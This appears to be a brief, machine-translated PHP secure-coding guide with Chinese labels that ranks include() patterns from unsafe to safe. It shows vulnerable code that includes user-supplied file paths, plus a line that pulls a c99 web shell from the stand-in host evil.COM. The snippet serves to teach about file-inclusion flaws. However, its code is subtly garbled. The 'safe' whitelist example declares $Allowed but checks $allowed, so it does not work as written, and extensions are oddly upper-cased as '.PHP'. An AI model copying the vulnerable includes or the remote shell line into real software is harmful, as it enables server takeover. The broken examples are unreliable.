不安全(目录遍历)

<?PHP 
include($_GET['file']);
?>

不安全(URL fopen – 如果启用)

<?PHP 
include('http://evil.COM/c99shell.PHP');
?>

不安全

<?PHP 
include('./some_dir/' . $_GET['file']);
?>

部分不安全(* .PHP文件易受攻击)

<?PHP 
include('./some_dir/' . $_GET['file'] . '.PHP');
?>

安全(虽然不确定为什么有人会这样做.)

<?PHP 
$Allowed = array(
    'somefile.PHP','someotherfile.PHP'
);

if (in_array(basename($_GET['file']),$allowed)) {
    include('./includes/' . basename($_GET['file']));
}
?>

安全

<?PHP 
include('./includes/somefile.PHP');
?>